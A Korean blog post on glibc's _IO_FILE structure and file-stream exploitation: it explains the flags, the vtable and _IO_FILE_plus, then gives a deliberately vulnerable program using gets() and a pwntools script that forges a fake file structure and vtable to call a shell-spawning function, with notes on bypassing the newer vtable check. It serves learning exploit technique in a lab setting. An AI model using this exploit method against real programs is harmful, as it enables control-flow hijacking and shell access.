상세 컨텐츠

본문 제목

_IO_FILE

SYSTEM HACKING/Exploit Tech

by koharin 2021. 1. 1. 19:57

본문

728x90
반응형

_IO_FILE : 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체

 

프로그램이 fopen과 같은 함수 통해 파일 스트림을 열 때 힙에 할당된다.

 

예제1

//gcc -o file1 file1.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>

int main(){
    FILE *fp;
    char buf[0x100] = {0,};

    strcpy(buf, "THIS IS TESTFILE!");

    fp = fopen("testfile", "w");

    fwrite(buf, 1, strlen(buf), fp);

    fclose(fp);

    return 0;
}

buf에 strcpy 함수를 사용해서 문자열을 복사한 후, testfile이라는 파일에 buf 길이만큼 문자열을 쓴다.

fwrite 후 없었던 힙이 생성된 것을 확인할 수 있다.


_IO_FILE 구조체

 

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_flags

- 파일에 대한 읽기/쓰기/추가 권한

- 0xfbad000이 매직 값이며 하위 2바이트는 비트 플래그들이다.

- _flags 주요 값들 (glibc에서 정의된)

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

- file1에서 _flags = 0xfbad2488 = _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8) 값을 가지고 있다.

- file1에서 파일을 읽기모드로 열었으므로 _flags에 _IO_NO_WRITES가 있다.

- 파일 플래그는 파일을 열어 해당 파일에 대한 _IO_FILE 구조체 생성 시 초기화된다.

- fopen 함수에서는 내부적으로 파일을 열 때 _IO_new_file_fopen 함수를 호출한다.

- _IO_new_file_fopen : 인자로 전달받은 mode에 따라 플래그 값을 지정해서 파일을 여는 함수이다. 모드 값에 따라 다른 플래그를 설정한다.

FILE * _IO_new_file_fopen (FILE *fp, const char *filename, const char *mode, int is32not64)
{
  int oflags = 0, omode;
  int read_write;
  int oprot = 0666;
  int i;
  FILE *result;
  const char *cs;
  const char *last_recognized;
  if (_IO_file_is_open (fp))
    return 0;
  switch (*mode)
    {
    case 'r':
      omode = O_RDONLY;
      read_write = _IO_NO_WRITES;
      break;
    case 'w':
      omode = O_WRONLY;
      oflags = O_CREAT|O_TRUNC;
      read_write = _IO_NO_READS;
      break;
    case 'a':
      omode = O_WRONLY;
      oflags = O_CREAT|O_APPEND;
      read_write = _IO_NO_READS|_IO_IS_APPENDING;
      break;
  ...
}

 

_IO_read_ptr

- 파일 읽기 버퍼에 대한 포인터

 

_IO_read_end

- 파일 읽기 버퍼 주소의 끝 가리키는 포인터

 

_IO_read_base

- 파일 읽기 버퍼 주소의 시작 가리키는 포인터

 

_IO_write_base

- 파일 쓰기 버퍼 주소의 시작 가리키는 포인터

 

_IO_write_ptr

-쓰기 버퍼에 대한 포인터

 

_IO_write_end

- 파일 쓰기 버퍼 주소의 끝 가리키는 포인터

 

_chain

- _IO_FILE 구조체는 _chain 필드 통해 연결리스트를 만든다.

- 연결리스트 헤더는 _IO_list_all(라이브러리 전역 변수)에 저장된다.

 

_fileno

- 파일 디스크립터 값


예제2: 파일 내용 읽어서 출력하기

// gcc -o file2 file2.c 
#include <stdio.h>
int main()
{
	char file_data[256];
	int ret;
	FILE *fp;
	
	strcpy(file_data, "AAAA");
	fp = fopen("testfile","r");
	fread(file_data, 1, 256, fp);
	printf("%s",file_data);
	fclose(fp);
}

"testfile"이라는 파일 읽어서 file_data에 데이터 입력 후 file_data 출력 후 스트림 닫는다.

 

fread 함수 호출 후 fp 포인터의 _IO_FILE 구조체를 확인해보면 멤버 변수에 포인터가 저장되어있다.

이 포인터들은 데이터를 읽고 쓸 때 사용되는 메모리 포인터이다.

 

포인터에는 실제 파일 내용이 저장되어 있다.


vtable

 

실제로 파일 스트림을 열 때는 _IO_FILE_plus 구조체가 리턴된다.

 

_IO_FILE_plus 구조체

 

_IO_FILE 구조체에 함수 포인터 테이블을 가리키는 포인터를 추가한 구조체이다.

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

 

_IO_jump_t 구조체

 

파일 관련 여러 동작 수행하는 함수 포인터들이 저장되어 있다.

이 함수 포인터들은 fread, fwrite, fopen과 같은 표준 함수들에서 호출된다.

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

 

stdin, stdout, stderr 

 

프로세스가 시작할 때 라이브러리에 의해 기본적으로 생성되는 기본 파일 스트림


_IO_FILE vtable overwrite

 

파일 함수가 호출되면 파일 포인터의 vtable에 있는 함수 포인터를 호출한다.

 

우분투 16.04 이후 함수에서는 _IO_vtable_check 함수가 추가되어 vtable 가리키는 포인터 주소 바꾸거나 vtable 내 값 조작하는 방법으로 공격하지 못한다. 

 

파일 포인터 조작

- 파일 포인터는 파일 구조체를 가리키고, fread 함수 호출 시 파일 포인터가 가리키는 _IO_FILE 구조체의 vtable 주소 참조해서 호출한다.

-전역변수인 name 주소로 파일 포인터를 조작해서 해당 파일 포인터를 사용하는 파일 함수가 호출될 때 name 버퍼를 _IO_FILE 구조체로 착각해서 조작된 구조체를 사용하게 된다.

 

// gcc -o fp_vtable fp_vtable.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
char name[256] = "\0";
FILE *fp = NULL;
void getshell() {
        system("/bin/sh");
}       
int main()
{
        int bytes;
        char random[4];
        fp = fopen("/dev/urandom", "r");
        printf("Name: ");
        fflush(stdout);
        gets(name);
        
        fread(random, 1, 4, fp);
        
        printf("random: %s", random);
        return 0;
}

익스 시나리오

fake fd와 fake vtable 만든다.

 

(1) fake 파일 구조체

fopen 함수 호출 후 heap 청크가 생성되는데, 확인해보면 위와 같은 구조로 이루어져 있다.

표시한 0x6020f0의 경우 NULL 가리키는 포인터이고, 마지막 주소 값은 vtable 주소이다.

나머지는 0으로 채워도 된다.

첫 번째 주소의 경우 전역변수에 구조체 만들면 0으로 초기화되어 있으므로 name+0xe0 위치의 NULL 값 가지는 주소를 넣는다.

 

 

(2) fake vtable

- fread 함수는 vtable 주소로부터 0x40 떨어진 주소(vtable+0x40)를 참조하여 호출한다. 

따라서 fake vtable 내 fake vtable+0x40에 get_shell 함수 주소를 적는다면, fread 시 vtable 내 +0x40 위치의 주소에서 함수를 호출할 것이므로 이때 쉘을 혹득할 수 있다.

<__GI__IO_sgetn+7>:	mov    rax,QWORD PTR [rax+0x40]
<__GI__IO_sgetn+11>:	jmp    rax

vtable을 주소를 모르므로 일단 vtable 주소가 들어갈 부분은 A로 채우고 확인해본다.

name 전역변수에 fake 파일 구조체가 있고, fake vtable의 시작주소는 0x6011b0으로 한다. (전역변수이므로 주소 고정적)

 

vtable 시작주소(fake vtable 시작주소)를 FILE 구조체의 마지막 8바이트에 적는다.

 

(3) 전역변수 name 바로 밑에 파일 포인터인 fp가 위치한다.

- name+0x100 위치의 fp에 fake 파일 구조체를 만든 name 주소를 넣어서 파일 포인터가 fake 파일 구조체를 가져오도록 한다.

 

vtable+0x40에 getshell 함수 주소가 적혀있다.

fread 시 vtable+0x40의 getshell 함수 주소를 가져와서 호출할 때 쉘을 획득할 수 있다.

#!/usr/bin/python                                                                     
from pwn import *

p = process("./fp_vtable")
elf = ELF("./fp_vtable")
name = elf.symbols['name']
getshell = elf.symbols['getshell']
fake_vtable = 0x6011b0

#fake _IO_FILE structure
pay = p64(0xfbad2488) + p64(0)*13
pay += p64(3) + p64(0)*2
pay += p64(name+0xe0)
pay += p64(0xffffffffffffffff)
pay += p64(0)*8
pay += p64(fake_vtable) #vtable
pay += '\x00'*(0x100-len(pay))
pay += p64(name) #fp

pay += p64(0)
# fake vtable 
pay += '\x00'*0x40
pay += p64(getshell) #sgetn mov rax, QWORD PTR [rax+0x40] jmp rax 

gdb.attach(p)
p.sendlineafter("Name: ", pay)


p.interactive()

우분투 18 버전 _IO_FILE vtable check bypass

하지만 우분투 16.04 이후 버전에서는 _IO_vtable_check 함수가 추가되어 우분투 18.04 버전에서는 위의 과정대로 진행하면 비정상 종료된다.

 

if (__glibc_unlikely (offset >= section_length))              
    _IO_vtable_check ();

IO_validate_vtable 함수가 _libc_IO_vtables의 섹션 크기 계산 후 파일 함수가 호출될 때 참조하는 vtable 주소가 _libc_IO_vtables 영역에 존재하는지 검증하기 때문에 vtable 주소가 _libc_IO_vtables 영역에 존재하지 않으면 IO_vtable_check 함수를 호출해서 포인터를 추가로 확인한다.

 

따라서 IO_validate_vtable 함수로 인해 _libc_IO_vtables 섹션에 vtable 주소가 유효해야 호출할 수 있어서 _libc_IO_vtables 섹션에 존재하는 함수 중 공격에 사용할 수 있는 함수를 사용해야 한다.

 

_IO_str_overflow 함수

 

_IO_str_overflow 함수는 _IO_str_jumps 영역 내 존재하는 함수이다.

_IO_str_jumps 영역은 _libc_IO_vtables 영역에 존재해서 이 영역을 이용할 수 있다.

new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

_IO_str_overflow 함수에서는 조건을 통과하면 함수 포인터를 호출한다.

new_size는 호출되는 함수포인터의 첫 번째 인자이다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
   return EOF;

_IO_blen 매크로 통해 초기화되는 new_size 변수는 _IO_FILE 구조체의 멤버 변수인 _IO_buf_end와 _IO_buf_base에 의해 결정된다.

_IO_buf_base -> 0

_IO_buf_end -> (원하는 값 - 100)/2

로 조작하면 new_size 변수를 원하는 값으로 만들 수 있다.

 

 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

ptmalloc2 allocator in GLIBC 2.29  (0) 2024.03.02
tcache memory leak  (0) 2020.06.13
House of Force  (0) 2020.06.12
Unsafe Unlink  (0) 2020.06.12
Poison NULL Byte  (0) 2020.06.12

관련글 더보기